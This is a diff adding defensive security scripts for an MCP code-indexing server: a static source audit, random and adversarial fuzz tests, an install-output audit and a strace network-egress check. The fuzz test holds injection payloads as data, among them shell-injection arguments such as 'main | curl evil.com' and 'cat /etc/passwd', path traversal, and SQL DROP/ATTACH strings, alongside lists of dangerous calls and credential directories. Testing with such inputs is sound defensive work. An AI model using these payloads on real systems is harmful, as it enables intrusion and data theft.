printf '%s\n' "$matches" | grep -v 'socket(AF_UNIX' >/dev/null; then
semantic_ok=false
fi
if [[ "$allowance_count" != "1" ||
"$actual_count" != "$expected_count" ||
"$semantic_ok" != "true" ]]; then
echo "BLOCKED: ${relfile}: unexpected raw ${func}() surface"
echo " expected=${expected_count:-none} actual=${actual_count} semantic_ok=${semantic_ok}"
printf '%s\n' "$matches" | sed 's/^/ /'
fail
NETWORK_OK=false
else
echo "REVIEWED: ${relfile}: ${actual_count} count-bounded ${func}() call(s)"
fi
done
done < <(find "$ROOT/src" -name '*.c' -type f | sort)
if $NETWORK_OK; then
echo "OK: Raw network calls are absent or explicitly count-bounded."
fi
# ── 2. Hardcoded URLs in string literals ─────────────────────────
echo ""
echo "--- Scanning for hardcoded URLs ---"
# Extract allowed URL prefixes from the allow-list
# Format: URL:<url>:<justification>
ALLOWED_URLS=()
while IFS= read -r line; do
[[ "$line" =~ ^#.*$ ]] && continue
[[ -z "$line" ]] && continue
if [[ "$line" =~ ^URL: ]]; then
rest="${line#URL:}"
# Extract URL (scheme://host/path) — stop at first colon that follows a non-slash
if [[ "$rest" =~ ^(https?://[^[:space:]]+) ]]; then
# The URL part extends until the justification separator
# Use the fact that justifications follow the pattern ":word word"
url_part="${BASH_REMATCH[1]}"
# Remove trailing justification after last colon that precedes a space
url_part="${url_part%%:[A-Za-z]*}"
ALLOWED_URLS+=("$url_part")
fi
fi
done < "$ALLOWLIST"
URL_OK=true
# Non-functional URL patterns to skip (comments, placeholders, comparisons, patterns)
is_placeholder_url() {
local url="$1"
case "$url" in
# Placeholder/example URLs in comments and code
https://host/*|http://host/*) return 0 ;;
https://...*|http://...*) return 0 ;;
# Protocol prefix comparisons (strncmp, mg_match)
http://) return 0 ;;
https://) return 0 ;;
# mg_match glob patterns with wildcards
http://localhost:*) return 0 ;;
http://127.0.0.1:*) return 0 ;;
esac
return 1
}
while IFS= read -r file; do
relfile="${file#"$ROOT/"}"
# Find lines with URLs (excluding comments)
while IFS= read -r match; do
[[ -z "$match" ]] && continue
# Skip lines that are clearly comments (/* ... */ or // ...)
line_content="${match#*:}" # Remove line number prefix
# Skip if the URL appears only in a comment on this line
if echo "$line_content" | grep -qE '^\s*/[/*]'; then
continue
fi
# Extract URLs using grep -oE (POSIX-compatible)
while IFS= read -r url; do
[[ -z "$url" ]] && continue
# Skip non-functional placeholder URLs
if is_placeholder_url "$url"; then
continue
fi
allowed=false
for aurl in "${ALLOWED_URLS[@]+"${ALLOWED_URLS[@]}"}"; do
if [[ "$url" == "$aurl"* ]]; then
allowed=true
break
fi
done
if ! $allowed; then
echo "BLOCKED: ${relfile}: URL not on allow-list: $url"
fail
URL_OK=false
fi
done < <(echo "$match" | grep -oE 'https?://[A-Za-z0-9._/~:@!$&()*+,;=?#%-]+' || true)
done < <(grep -n 'https\?://' "$file" 2>/dev/null | grep -v '^\s*//' | grep -v '^\s*\*' || true)
done < <(find "$ROOT/src" -name '*.c' -type f | sort)
if $URL_OK; then
echo "OK: All URLs are on the allow-list."
fi
# ── 3. File writes outside expected paths ────────────────────────
echo ""
echo "--- Scanning for unexpected file writes in src/ ---"
FOPEN_FOUND=false
while IFS= read -r file; do
relfile="${file#"$ROOT/"}"
matches=$(grep -n 'fopen.*"w' "$file" 2>/dev/null \
| grep -v '^\s*//' || true)
[[ -z "$matches" ]] && continue
case "$relfile" in
src/cli/cli.c|src/store/store.c|src/pipeline/*.c|src/foundation/log.c|src/foundation/diagnostics.c|src/ui/http_server.c|src/ui/config.c|src/mcp/mcp.c)
;; # Known safe (diagnostics.c: atomic .tmp+rename metrics dump to configured path)
*)
actual_count=$(printf '%s\n' "$matches" | wc -l | tr -d ' ')
allowance=$(grep -E "^WRITE:${relfile}:[0-9]+:" \
"$ALLOWLIST" 2>/dev/null || true)
allowance_count=$(printf '%s\n' "$allowance" | grep -c . || true)
expected_count=$(printf '%s\n' "$allowance" | cut -d: -f3)
if [[ "$allowance_count" != "1" ||
"$actual_count" != "$expected_count" ]]; then
echo "REVIEW: ${relfile}: unexpected fopen(\"w\") surface"
echo " expected=${expected_count:-none} actual=${actual_count}"
printf '%s\n' "$matches" | sed 's/^/ /'
FOPEN_FOUND=true
else
echo "REVIEWED: ${relfile}: ${actual_count} count-bounded private write(s)"
fi
;;
esac
done < <(find "$ROOT/src" -name '*.c' -type f | sort)
if ! $FOPEN_FOUND; then
echo "OK: All file writes are in expected locations."
fi
# ── 4. Time-bomb pattern detection ────────────────────────────────
# Scan for time/clock/sleep near dangerous calls — could indicate
# code that activates malicious behavior after a delay or date.
echo ""
echo "--- Scanning for time-bomb patterns ---"
TIMEBOMB_FOUND=false
while IFS= read -r file; do
relfile="${file#"$ROOT/"}"
# Extract line numbers of dangerous calls
DANGER_LINES=$(grep -n 'system(\|popen(\|cbm_popen(\|connect(\|execl(' "$file" 2>/dev/null \
| grep -v '^\s*//' | grep -v '^\s*\*' | grep -v '#define' \
| cut -d: -f1 || true)
[ -z "$DANGER_LINES" ] && continue
# For each dangerous call, check if time/clock/sleep appears within 10 lines
for dline in $DANGER_LINES; do
start=$((dline > 10 ? dline - 10 : 1))
end=$((dline + 10))
NEARBY=$(sed -n "${start},${end}p" "$file" 2>/dev/null \
| grep -E 'time\(|clock\(|sleep\(|nanosleep\(|usleep\(' \
| grep -v '^\s*//' | grep -v '^\s*\*' | grep -v 'timeout' | grep -v 'elapsed' || true)
if [ -n "$NEARBY" ]; then
echo "REVIEW: ${relfile}:${dline}: time-related call near dangerous function"
echo " $NEARBY"
TIMEBOMB_FOUND=true
fi
done
done < <(find "$ROOT/src" -name '*.c' -type f | sort)
if ! $TIMEBOMB_FOUND; then
echo "OK: No suspicious time-bomb patterns found."
fi
# ── 5. MCP tool handler file read audit ──────────────────────────
# The MCP server (mcp.c) handles tool calls that return data to the
# client. A malicious PR could add file reads that exfiltrate sensitive
# data (e.g., ~/.ssh/id_rsa) through the normal tool response channel.
# Track all file-reading functions in mcp.c against an allow-list.
echo ""
echo "--- Scanning MCP tool handlers for file reads ---"
MCP_FILE="$ROOT/src/mcp/mcp.c"
MCP_READS_OK=true
if [ -f "$MCP_FILE" ]; then
# Known safe file reads in mcp.c (with line-range context)
# - search_code: writes pattern to tmpfile, reads grep output
# - get_code_snippet: reads source via read_file_lines (path-contained)
# - manage_adr: reads/writes ADR files
# - detect_changes: reads git diff output
# - update check: reads the version-check HTTP response (fixed buffer)
# - HTTP transport: reads the incoming request body (content-length bound)
# Count fopen/fread calls and compare against expected
FOPEN_COUNT=$(grep -c 'fopen\|fread\|read_file' "$MCP_FILE" 2>/dev/null || echo "0")
# Update this when legitimate reads are added. 15 reads audited as of the
# search/ADR/Windows-support commits — all path-contained or transport
# reads, no new exfiltration surface.
EXPECTED_MAX=15
if [ "$FOPEN_COUNT" -gt "$EXPECTED_MAX" ]; then
echo "REVIEW: src/mcp/mcp.c has $FOPEN_COUNT file read operations (expected max $EXPECTED_MAX)"
echo " New file reads in MCP tool handlers must be reviewed for data exfiltration risk."
MCP_READS_OK=false
fi
fi
if $MCP_READS_OK; then
echo "OK: MCP tool handler file reads within expected count."
fi
# ── 6. GitHub Actions pinned to SHA ───────────────────────────────
# Mutable tags (@v4) can be moved by compromised maintainers.
# All Actions must be pinned to full commit SHAs.
echo ""
echo "--- Scanning for unpinned GitHub Actions ---"
UNPINNED_FOUND=false
if [ -d "$ROOT/.github/workflows" ]; then
while IFS= read -r file; do
relfile="${file#"$ROOT/"}"
# Only check files tracked by git (skip stale untracked files)
git ls-files --error-unmatch "$file" > /dev/null 2>&1 || continue
while IFS= read -r match; do
[[ -z "$match" ]] && continue
echo "BLOCKED: ${relfile}: ${match}"
echo " -> Pin to SHA: uses: owner/action@<commit-sha> # version"
fail
UNPINNED_FOUND=true
done < <(grep -nE 'uses:.*@v[0-9]' "$file" 2>/dev/null || true)
done < <(find "$ROOT/.github/workflows" -name '*.yml' -type f | sort)
fi
if ! $UNPINNED_FOUND; then
echo "OK: All GitHub Actions pinned to commit SHAs."
fi
# ── Summary ──────────────────────────────────────────────────────
echo ""
RESULT=$(cat "$FAIL_FLAG")
if [[ "$RESULT" != "0" ]]; then
echo "=== SECURITY AUDIT FAILED ==="
echo "Fix the issues above or add entries to scripts/security-allowlist.txt with justifications."
exit 1
fi
echo "=== Security audit passed ==="
+186
View File
@@ -0,0 +1,186 @@
#!/usr/bin/env bash
set -euo pipefail
# The fuzzer IS python3; without it this gate would run zero mutations while
# still reporting green. Fail loudly instead.
command -v python3 >/dev/null 2>&1 || {
echo "FAIL: python3 missing — the fuzz gate cannot generate payloads" >&2
exit 1
}
# Reproducibility: every payload derives from a logged seed, so any crash is
# re-runnable by construction (CBM_FUZZ_SEED overrides for replay).
FUZZ_SEED="${CBM_FUZZ_SEED:-$$}"
echo "fuzz seed: $FUZZ_SEED (replay: CBM_FUZZ_SEED=$FUZZ_SEED)"
# Fuzz testing: feeds random/mutated inputs to the MCP server and CLI
# to find crashes, hangs, and memory errors. Runs for a limited time.
#
# Usage: scripts/security-fuzz-random.sh <binary-path> [duration_seconds]
BINARY="${1:?usage: security-fuzz-random.sh <binary-path> [duration_seconds]}"
DURATION="${2:-60}"
if [[ ! -f "$BINARY" ]]; then
echo "FAIL: binary not found: $BINARY"
exit 1
fi
echo "=== Fuzz Testing ($DURATION seconds) ==="
FUZZ_TMPDIR=$(mktemp -d)
trap 'rm -rf "$FUZZ_TMPDIR"' EXIT
CRASHES=0
ITERATIONS=0
END_TIME=$((SECONDS + DURATION))
# Portable timeout
run_with_timeout() {
# PRESERVES the child's exit status: the whole gate exists to observe
# crash codes (139/134/136), and an `|| true` here once made EC
# unconditionally 0 — the crash checks were dead code and a SIGSEGV
# read green. Timeout reports 124, which the checks correctly ignore.
local secs="$1"; shift
if command -v timeout &>/dev/null; then
timeout "$secs" "$@"
else
perl -e "alarm($secs); exec @ARGV" -- "$@"
fi
}
# ── Phase 1: Random JSON-RPC mutations ───────────────────────
echo ""
echo "--- Phase 1: Random JSON-RPC mutations ---"
while [ $SECONDS -lt $END_TIME ]; do
ITERATIONS=$((ITERATIONS + 1))
# Generate a random mutated JSON-RPC payload
PAYLOAD=$(python3 -c "
import random, string, json
random.seed($FUZZ_SEED + $ITERATIONS)
# Base valid request
base = {
'jsonrpc': '2.0',
'id': random.randint(-999999, 999999),
'method': random.choice([
'initialize', 'tools/call', 'tools/list',
random.choice(string.ascii_letters) * random.randint(1, 100),
'',
]),
}
# Random mutations
mutation = random.randint(0, 10)
if mutation == 0:
# Valid tool call with random args
base['params'] = {'name': 'search_graph', 'arguments': {
'name_pattern': ''.join(random.choices(string.printable, k=random.randint(0, 500)))
}}
elif mutation == 1:
# Huge nested object
base['params'] = {'a': {'b': {'c': {'d': {'e': 'deep'}}}}}
elif mutation == 2:
# Random bytes as method
base['method'] = ''.join(random.choices(string.printable, k=random.randint(1, 1000)))
elif mutation == 3:
# Null fields
base['method'] = None
base['id'] = None
elif mutation == 4:
# Array instead of object
base = [1, 2, 3]
elif mutation == 5:
# Empty
base = {}
elif mutation == 6:
# Random Cypher query
base['params'] = {'name': 'query_graph', 'arguments': {
'query': ''.join(random.choices(string.printable, k=random.randint(1, 200)))
}}
elif mutation == 7:
# Very long string values
base['params'] = {'name': 'search_graph', 'arguments': {
'name_pattern': 'A' * random.randint(10000, 100000)
}}
elif mutation == 8:
# Unicode/binary-like content
base['params'] = {'name': 'search_code', 'arguments': {
'pattern': ''.join(chr(random.randint(0, 0xFFFF)) for _ in range(100))
}}
elif mutation == 9:
# Random tool name
base['params'] = {'name': ''.join(random.choices(string.ascii_letters, k=50)), 'arguments': {}}
else:
# Completely random JSON
base = ''.join(random.choices(string.printable, k=random.randint(1, 500)))
try:
print(json.dumps(base))
except:
print(json.dumps({'garbage': True}))
" 2>/dev/null || echo '{}')
# Build session: init + mutated payload
INIT='{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"fuzz","version":"1.0"}}}'
printf '%s\n%s\n' "$INIT" "$PAYLOAD" > "$FUZZ_TMPDIR/input.jsonl"
# Run and check for crashes (not exit code — we expect errors, just not crashes)
EC=0
run_with_timeout 5 "$BINARY" < "$FUZZ_TMPDIR/input.jsonl" > /dev/null 2>&1 || EC=$?
# 139 = SIGSEGV, 134 = SIGABRT, 136 = SIGFPE — real crashes
if [ $EC -eq 139 ] || [ $EC -eq 134 ] || [ $EC -eq 136 ]; then
echo "CRASH: exit code $EC on iteration $ITERATIONS"
echo "Payload: $PAYLOAD"
CRASHES=$((CRASHES + 1))
fi
done
echo "Phase 1: $ITERATIONS iterations, $CRASHES crashes"
# ── Phase 2: Random Cypher queries via CLI ───────────────────
echo ""
echo "--- Phase 2: Random Cypher queries via CLI ---"
CLI_ITERATIONS=0
CLI_END=$((SECONDS + 10))
while [ $SECONDS -lt $CLI_END ]; do
CLI_ITERATIONS=$((CLI_ITERATIONS + 1))
QUERY=$(python3 -c "
import random
random.seed($FUZZ_SEED + 100000 + $CLI_ITERATIONS), string
parts = ['MATCH', 'WHERE', 'RETURN', '(', ')', '-[', ']->', '<-[', ']-',
'n', 'r', '.name', '.label', '=', '\"', \"'\", ';', '--', 'DROP',
'DELETE', 'ATTACH', 'DETACH', '*', 'COUNT', 'LIMIT', 'ORDER BY']
q = ' '.join(random.choices(parts, k=random.randint(1, 20)))
# Sometimes add random garbage
if random.random() > 0.5:
q += ''.join(random.choices(string.printable, k=random.randint(1, 100)))
print(q)
" 2>/dev/null || echo "MATCH (n) RETURN n")
EC=0
run_with_timeout 3 "$BINARY" cli query_graph "{\"query\":\"$QUERY\"}" > /dev/null 2>&1 || EC=$?
EC=$?
if [ $EC -eq 139 ] || [ $EC -eq 134 ] || [ $EC -eq 136 ]; then
echo "CRASH: exit code $EC on Cypher iteration $CLI_ITERATIONS"
echo "Query: $QUERY"
CRASHES=$((CRASHES + 1))
fi
done
echo "Phase 2: $CLI_ITERATIONS iterations, $CRASHES total crashes"
# ── Summary ──────────────────────────────────────────────────
echo ""
if [ $CRASHES -gt 0 ]; then
echo "=== FUZZ TESTING FAILED: $CRASHES crash(es) found ==="
exit 1
fi
echo "=== Fuzz testing passed: $((ITERATIONS + CLI_ITERATIONS)) iterations, 0 crashes ==="
+169
View File
@@ -0,0 +1,169 @@
#!/usr/bin/env bash
set -euo pipefail
# Layer 7: MCP robustness test — sends adversarial JSON-RPC payloads via stdio.
#
# Verifies the MCP server handles malformed, oversized, and crafted inputs
# without crashing. Each payload is sent as a complete session (init + payload + EOF).
#
# Usage: scripts/security-fuzz.sh <binary-path>
BINARY="${1:?usage: security-fuzz.sh <binary-path>}"
if [[ ! -f "$BINARY" ]]; then
echo "FAIL: binary not found: $BINARY"
exit 1
fi
echo "=== Layer 7: MCP Robustness Test ==="
FAIL=0
PASS=0
TOTAL=0
# Temp directory for input files (avoids pipe/stdin issues with timeout)
FUZZ_TMPDIR=$(mktemp -d)
trap 'rm -rf "$FUZZ_TMPDIR"' EXIT
FUZZ_HOME="$FUZZ_TMPDIR/home"
FUZZ_CACHE="$FUZZ_TMPDIR/cache"
mkdir -p "$FUZZ_HOME" "$FUZZ_CACHE"
# Helper: send a payload to the MCP server and check it doesn't crash.
# Uses temp file + perl alarm for portable timeout (works on macOS + Linux).
test_payload() {
local name="$1"
local payload="$2"
TOTAL=$((TOTAL + 1))
# Write session input to a temp file (avoids pipe/stdin issues)
local tmpinput="$FUZZ_TMPDIR/input_${TOTAL}.jsonl"
local tmpoutput="$FUZZ_TMPDIR/output_${TOTAL}.jsonl"
local acknowledgement_id=$((900000 + TOTAL))
printf '%s\n%s\n%s\n%s\n' \
'{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"fuzz","version":"1.0"}}}' \
'{"jsonrpc":"2.0","method":"notifications/initialized"}' \
"$payload" \
"{\"jsonrpc\":\"2.0\",\"id\":$acknowledgement_id,\"method\":\"ping\",\"params\":{}}" \
> "$tmpinput"
# Run with 10s timeout: GNU timeout → perl alarm fallback
local ec=0
if command -v timeout &>/dev/null; then
HOME="$FUZZ_HOME" CBM_CACHE_DIR="$FUZZ_CACHE" \
timeout 10 "$BINARY" < "$tmpinput" > "$tmpoutput" 2>&1 || ec=$?
else
HOME="$FUZZ_HOME" CBM_CACHE_DIR="$FUZZ_CACHE" \
perl -e 'alarm(10); exec @ARGV' -- "$BINARY" \
< "$tmpinput" > "$tmpoutput" 2>&1 || ec=$?
fi
# Acceptable exits:
# 0 = clean shutdown on EOF
# 141 = SIGPIPE (pipe closed while writing — normal for stdio MCP)
# 142 = SIGALRM (perl timeout — hung process, same as GNU timeout 124)
# 124 = GNU timeout
if [[ $ec -eq 0 || $ec -eq 141 ]]; then
if grep -Eq "\"id\"[[:space:]]*:[[:space:]]*$acknowledgement_id([^0-9]|$).*\"result\"[[:space:]]*:" \
"$tmpoutput"; then
PASS=$((PASS + 1))
else
echo "FAIL: $name — target exited before acknowledging payload processing"
FAIL=$((FAIL + 1))
fi
elif [[ $ec -eq 124 || $ec -eq 142 ]]; then
echo "FAIL: $name — timed out (hung for 10s)"
FAIL=$((FAIL + 1))
else
echo "FAIL: $name — crashed with exit code $ec"
FAIL=$((FAIL + 1))
fi
}
# Mutating operations are session-owned and intentionally cancel on EOF. Keep
# stdin open until the invalid-path response and a subsequent ping arrive so
# this case tests robustness without racing the disconnect contract.
test_invalid_index_interactive() {
local name="index nonexistent path"
TOTAL=$((TOTAL + 1))
local tmpoutput="$FUZZ_TMPDIR/output_${TOTAL}.jsonl"
local ec=0
HOME="$FUZZ_HOME" CBM_CACHE_DIR="$FUZZ_CACHE" \
python3 "$(dirname "$0")/test_mcp_interactive.py" "$BINARY" \
--scenario invalid-index --repo-path /nonexistent/path/abc123 \
--response-timeout 45 --exit-timeout 15 > "$tmpoutput" 2>&1 || ec=$?
if [[ $ec -eq 0 ]]; then
PASS=$((PASS + 1))
else
echo "FAIL: $name — interactive session failed"
sed -n '1,20p' "$tmpoutput"
FAIL=$((FAIL + 1))
fi
}
echo ""
echo "--- Malformed JSON ---"
test_payload "empty line" ""
test_payload "garbage" "not json at all"
test_payload "truncated json" '{"jsonrpc":"2.0","id":2,"met'
test_payload "null byte in json" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"search_graph","arguments":{"name_pattern":"test\u0000evil"}}}'
test_payload "missing method" '{"jsonrpc":"2.0","id":2}'
test_payload "missing id" '{"jsonrpc":"2.0","method":"tools/call"}'
test_payload "wrong jsonrpc version" '{"jsonrpc":"1.0","id":2,"method":"tools/call","params":{}}'
test_payload "array instead of object" '[1,2,3]'
test_payload "deeply nested json" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"search_graph","arguments":{"name_pattern":{"a":{"b":{"c":{"d":{"e":{"f":"deep"}}}}}}}}}'
echo ""
echo "--- Oversized inputs ---"
# 1MB string argument
HUGE=$(python3 -c "print('A' * 1048576)" 2>/dev/null || python3.9 -c "print('A' * 1048576)" 2>/dev/null || echo "AAAA")
test_payload "1MB name_pattern" "{\"jsonrpc\":\"2.0\",\"id\":2,\"method\":\"tools/call\",\"params\":{\"name\":\"search_graph\",\"arguments\":{\"name_pattern\":\"$HUGE\"}}}"
# Very long tool name
test_payload "1000-char tool name" "{\"jsonrpc\":\"2.0\",\"id\":2,\"method\":\"tools/call\",\"params\":{\"name\":\"$(python3 -c "print('x' * 1000)" 2>/dev/null || echo 'xxxx')\",\"arguments\":{}}}"
echo ""
echo "--- Tool-specific adversarial inputs ---"
# search_graph with regex that could cause ReDoS
test_payload "ReDoS regex" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"search_graph","arguments":{"name_pattern":"(a+)+$"}}}'
# query_graph with SQL injection attempts
test_payload "SQL injection in query" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"query_graph","arguments":{"query":"MATCH (n) RETURN n; DROP TABLE nodes; --"}}}'
test_payload "ATTACH attempt via query" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"query_graph","arguments":{"query":"ATTACH DATABASE '"'"'/tmp/evil.db'"'"' AS evil"}}}'
# detect_changes with shell metacharacters in base_branch
test_payload "shell injection in base_branch" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"detect_changes","arguments":{"base_branch":"main'\''$(whoami)'\''","project":"nonexistent"}}}'
test_payload "shell injection semicolon" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"detect_changes","arguments":{"base_branch":"main; cat /etc/passwd","project":"nonexistent"}}}'
test_payload "shell injection pipe" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"detect_changes","arguments":{"base_branch":"main | curl evil.com","project":"nonexistent"}}}'
# get_code_snippet with path traversal
test_payload "path traversal in qualified_name" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"get_code_snippet","arguments":{"qualified_name":"../../../../etc/passwd"}}}'
# search_code with shell metacharacters in file_pattern
test_payload "shell injection in file_pattern" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"search_code","arguments":{"pattern":"test","file_pattern":"*.py'\'' ; cat /etc/passwd #"}}}'
# index_repository with non-existent path (should return error, not crash)
test_invalid_index_interactive
# Negative/zero values for numeric params
test_payload "negative limit" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"search_graph","arguments":{"name_pattern":"test","limit":-1}}}'
test_payload "zero max_depth" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"trace_path","arguments":{"function_name":"test","max_depth":0}}}'
test_payload "huge max_rows" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"query_graph","arguments":{"query":"MATCH (n) RETURN n","max_rows":999999999}}}'
echo ""
echo "--- Results ---"
echo " $PASS/$TOTAL passed"
if [[ $FAIL -gt 0 ]]; then
echo " $FAIL FAILED"
echo ""
echo "=== MCP ROBUSTNESS TEST FAILED ==="
exit 1
fi
echo ""
echo "=== MCP robustness test passed ==="
+169
View File
@@ -0,0 +1,169 @@
#!/usr/bin/env bash
set -euo pipefail
# Layer 4: Install output audit — verifies install --dry-run writes only to expected paths.
#
# Checks:
# 1. All output file paths are in the expected set
# 2. No writes to sensitive directories (~/.ssh, ~/.gnupg, ~/.aws, /etc, /usr)
# 3. Skill file content contains no dangerous patterns
#
# Usage: scripts/security-install.sh <binary-path>
BINARY="${1:?usage: security-install.sh <binary-path>}"
if [[ ! -f "$BINARY" ]]; then
echo "FAIL: binary not found: $BINARY"
exit 1
fi
echo "=== Layer 4: Install Output Audit ==="
TMPDIR=$(mktemp -d)
trap 'rm -rf "$TMPDIR"' EXIT
# Set HOME to tmpdir so install writes there instead of real home
export HOME="$TMPDIR/home"
mkdir -p "$HOME"
FAIL=0
# ── 1. Run install and capture written files ─────────────────────
echo "--- Running install -y ---"
# Run install (non-interactive with -y flag)
"$BINARY" install -y > "$TMPDIR/install_output.txt" 2>&1 || true
echo "Install output:"
cat "$TMPDIR/install_output.txt"
echo ""
# ── 2. Verify written paths are in expected set ──────────────────
echo "--- Verifying written file paths ---"
# Find all files created under HOME
find "$HOME" -type f > "$TMPDIR/created_files.txt" 2>/dev/null || true
# Expected path patterns (relative to HOME):
# .config/*/mcp.json (or .mcp.json variants)
# .claude/skills/*
# .claude/settings.json
# .continue/config.yaml
# .codeium/config.json
# .local/bin/codebase-memory-mcp
# Various agent config dirs
EXPECTED_PATTERNS=(
".claude/"
".cursor/"
".config/"
".continue/"
".codeium/"
".windsurf/"
".trae/"
".aider/"
".local/bin/"
"AGENTS.md"
"CONVENTIONS.md"
".mcp.json"
"mcp.json"
".zshrc"
".bashrc"
".profile"
)
while IFS= read -r filepath; do
relpath="${filepath#"$HOME/"}"
matched=false
for pattern in "${EXPECTED_PATTERNS[@]}"; do
if [[ "$relpath" == *"$pattern"* ]]; then
matched=true
break
fi
done
if ! $matched; then
echo "REVIEW: Unexpected file created: $relpath"
fi
done < "$TMPDIR/created_files.txt"
# ── 3. Check for writes to sensitive paths ───────────────────────
echo ""
echo "--- Checking for sensitive path writes ---"
SENSITIVE_DIRS=(".ssh" ".gnupg" ".aws" ".kube" ".config/gcloud")
for dir in "${SENSITIVE_DIRS[@]}"; do
if [[ -d "$HOME/$dir" ]]; then
echo "BLOCKED: Install created sensitive directory: ~/$dir"
FAIL=1
fi
done
# Also check install output for any references to sensitive paths
for dir in "${SENSITIVE_DIRS[@]}"; do
if grep -q "$dir" "$TMPDIR/install_output.txt" 2>/dev/null; then
echo "BLOCKED: Install output references sensitive path: $dir"
FAIL=1
fi
done
if [[ $FAIL -eq 0 ]]; then
echo "OK: No sensitive path writes detected."
fi
# ── 4. Audit skill file content ──────────────────────────────────
echo ""
echo "--- Auditing skill file content ---"
SKILLS_DIR="${CLAUDE_CONFIG_DIR:-$HOME/.claude}/skills"
if [[ -d "$SKILLS_DIR" ]]; then
SKILL_ISSUES=0
while IFS= read -r skill_file; do
basename=$(basename "$skill_file")
# Check for dangerous patterns in skill content
for pattern in 'system(' 'eval(' 'exec(' '__import__(' 'subprocess' 'os.popen'; do
if grep -q "$pattern" "$skill_file" 2>/dev/null; then
echo "BLOCKED: Skill '$basename' contains dangerous pattern: $pattern"
SKILL_ISSUES=1
FAIL=1
fi
done
# Check for unexpected URLs
if grep -oE 'https?://[^\s"'"'"']+' "$skill_file" 2>/dev/null | grep -v 'github.com/DeusData' | grep -v 'localhost' | grep -v '127.0.0.1' > /tmp/sec_skill_urls 2>/dev/null; then
while IFS= read -r url; do
echo "REVIEW: Skill '$basename' contains URL: $url"
done < /tmp/sec_skill_urls
rm -f /tmp/sec_skill_urls
fi
# Check for encoded strings (base64-like blocks > 50 chars)
if grep -E '[A-Za-z0-9+/]{50,}={0,2}' "$skill_file" > /dev/null 2>&1; then
echo "REVIEW: Skill '$basename' contains potential encoded content"
fi
done < <(find "$SKILLS_DIR" -type f -name '*.md')
if [[ $SKILL_ISSUES -eq 0 ]]; then
echo "OK: Skill files contain no dangerous patterns."
fi
else
echo "SKIP: No skills directory created."
fi
# ── Summary ──────────────────────────────────────────────────────
echo ""
if [[ $FAIL -ne 0 ]]; then
echo "=== INSTALL OUTPUT AUDIT FAILED ==="
exit 1
fi
echo "=== Install output audit passed ==="
+107
View File
@@ -0,0 +1,107 @@
#!/usr/bin/env bash
set -euo pipefail
# Layer 3: Network egress test — monitors outbound connections during MCP session.
#
# Runs a full MCP session (initialize → index → search → EOF) under strace
# and verifies only expected connections are made.
#
# Linux only (strace required). macOS/Windows: skip with success.
#
# Usage: scripts/security-network.sh <binary-path>
BINARY="${1:?usage: security-network.sh <binary-path>}"
if [[ ! -f "$BINARY" ]]; then
echo "FAIL: binary not found: $BINARY"
exit 1
fi
echo "=== Layer 3: Network Egress Test ==="
# Skip on non-Linux (no strace)
if [[ "$(uname)" != "Linux" ]]; then
echo "SKIP: strace not available on $(uname) — covered by binary string audit"
exit 0
fi
if ! command -v strace &>/dev/null; then
echo "SKIP: strace not installed"
exit 0
fi
TMPDIR=$(mktemp -d)
trap 'rm -rf "$TMPDIR"' EXIT
# Create a minimal test project
mkdir -p "$TMPDIR/project/src"
cat > "$TMPDIR/project/src/main.py" << 'EOF'
def main():
print("hello")
EOF
# MCP session input (jsonrpc over stdio)
cat > "$TMPDIR/input.jsonl" << JSONL
{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"test","version":"1.0"}}}
{"jsonrpc":"2.0","method":"notifications/initialized"}
{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"index_repository","arguments":{"repo_path":"$TMPDIR/project"}}}
{"jsonrpc":"2.0","id":3,"method":"tools/call","params":{"name":"search_graph","arguments":{"name_pattern":"main"}}}
JSONL
STRACE_LOG="$TMPDIR/strace.log"
echo "Running MCP session under strace..."
# Run binary with strace monitoring connect() syscalls
# -f: follow forks, -e trace=connect: only log connect() calls
timeout 30 strace -f -e trace=connect \
"$BINARY" < "$TMPDIR/input.jsonl" \
> "$TMPDIR/output.jsonl" 2> "$STRACE_LOG" || true
echo ""
echo "--- Connection log ---"
FAIL=0
# Parse strace output for connect() calls with AF_INET (IPv4 network)
# Format: connect(fd, {sa_family=AF_INET, sin_port=htons(443), sin_addr=inet_addr("x.x.x.x")}, ...)
if grep 'sa_family=AF_INET' "$STRACE_LOG" > "$TMPDIR/connections.log" 2>/dev/null; then
while IFS= read -r conn; do
# Extract destination IP and port
ip=$(echo "$conn" | grep -oP 'inet_addr\("\K[^"]+' || echo "unknown")
port=$(echo "$conn" | grep -oP 'htons\(\K[0-9]+' || echo "0")
# Allowed connections:
# - 127.0.0.1 (localhost, any port)
# - DNS (port 53, any IP)
# - api.github.com (140.82.x.x range, port 443) — update check
case "$ip" in
127.0.0.1|0.0.0.0)
echo " OK: localhost:$port"
;;
*)
if [[ "$port" == "53" ]]; then
echo " OK: DNS lookup to $ip"
elif [[ "$port" == "443" ]]; then
echo " REVIEW: HTTPS to $ip:$port (expected: api.github.com for update check)"
# This is expected — the binary checks for updates on startup
else
echo " BLOCKED: Unexpected connection to $ip:$port"
FAIL=1
fi
;;
esac
done < "$TMPDIR/connections.log"
else
echo " No outbound connections detected."
fi
echo ""
if [[ $FAIL -ne 0 ]]; then
echo "=== NETWORK EGRESS TEST FAILED ==="
echo "Unexpected outbound connections detected. Full strace log:"
grep 'connect(' "$STRACE_LOG" || true
exit 1
fi
echo "=== Network egress test passed ==="
+198
View File
@@ -0,0 +1,198 @@
#!/usr/bin/env bash
set -euo pipefail
# Layer 2: Binary string audit — post-build check on the production binary.
#
